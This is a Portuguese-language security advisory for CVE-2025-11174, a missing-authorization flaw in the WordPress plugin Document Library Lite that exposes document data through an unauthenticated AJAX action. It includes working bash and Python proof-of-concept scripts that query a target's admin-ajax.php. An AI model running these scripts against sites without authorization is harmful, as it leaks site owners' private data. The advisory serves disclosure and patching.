
Document Library Lite <= 1.1.6 - Autorização Ausente para Exposição de Informações Sensíveis | CVE-2025-11174
Palavras-chave: CVE-2025-11174, Document Library Lite vulnerability, information disclosure, WordPress security, unauthenticated AJAX exploit, WordPress plugin vulnerability, CWE-862, WordPress document plugin security, authorization bypass, WordPress CVE 2025
Vulnerabilidade de Divulgação de Informações no Plugin WordPress Document Library Lite (CVE-2025-11174) – Falha de segurança que permite acesso não autenticado a dados confidenciais de documentos no plugin de biblioteca de documentos do WordPress.
Foi descoberta uma vulnerabilidade crítica de bypass de autorização no Plugin WordPress Document Library Lite que permite que atacantes não autenticados acessem informações confidenciais de documentos sem a devida autenticação.
Descoberto por: Kai Aizen & Avraham Shemesh (SnailSploit)
Publicado: 1 de novembro de 2025
Pontuação CVSS: 5.3 (Médio)
CWE: CWE-862 – Autorização Ausente
Plugin: Document Library Lite
Fornecedor: Barn2 Plugins
Tipo de Ataque: Divulgação de Informações Não Autenticada
Privilégios Necessários: Nenhum (Ataque Não Autenticado)
O plugin Document Library Lite para WordPress contém uma vulnerabilidade de autorização inadequada em todas as versões até a 1.1.6 inclusive. O plugin expõe uma ação AJAX não autenticada dll_load_posts que retorna uma tabela JSON de dados de documentos sem realizar verificações de nonce ou capacidade.
Esta vulnerabilidade permite que atacantes não autenticados:
Nota: A pontuação CVSS de 5.3 (gravidade Média) reflete divulgação limitada de informações. Embora a vulnerabilidade permita acesso não autenticado aos dados de documentos, o impacto é classificado como Baixo para confidencialidade, sem impacto na integridade ou disponibilidade.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Métrica | Valor |
|---|---|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade do Ataque | Baixa (AC:L) |
| Privilégios Necessários | Nenhum (PR:N) |
| Interação do Usuário | Nenhuma (UI:N) |
| Escopo | Inalterado (S:U) |
| Confidencialidade | Baixa (C:L) |
| Integridade | Nenhum (I:N) |
| Disponibilidade | Nenhum (A:N) |
Detalhamento CVSS v3.1:
A ação AJAX dll_load_posts é registrada sem verificações adequadas de autenticação ou autorização:
// Padrão de código vulnerável (simplificado)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
O prefixo wp_ajax_nopriv_ indica que esta ação é acessível a usuários não autenticados, e a função de retorno não implementa:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
A vulnerabilidade pode ser explorada através do endpoint admin-ajax.php do WordPress sem autenticação.
⚠️ Apenas para Fins Educacionais e de Teste Autorizados
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Ação Imediata Necessária:
admin-ajax.php com action=dll_load_posts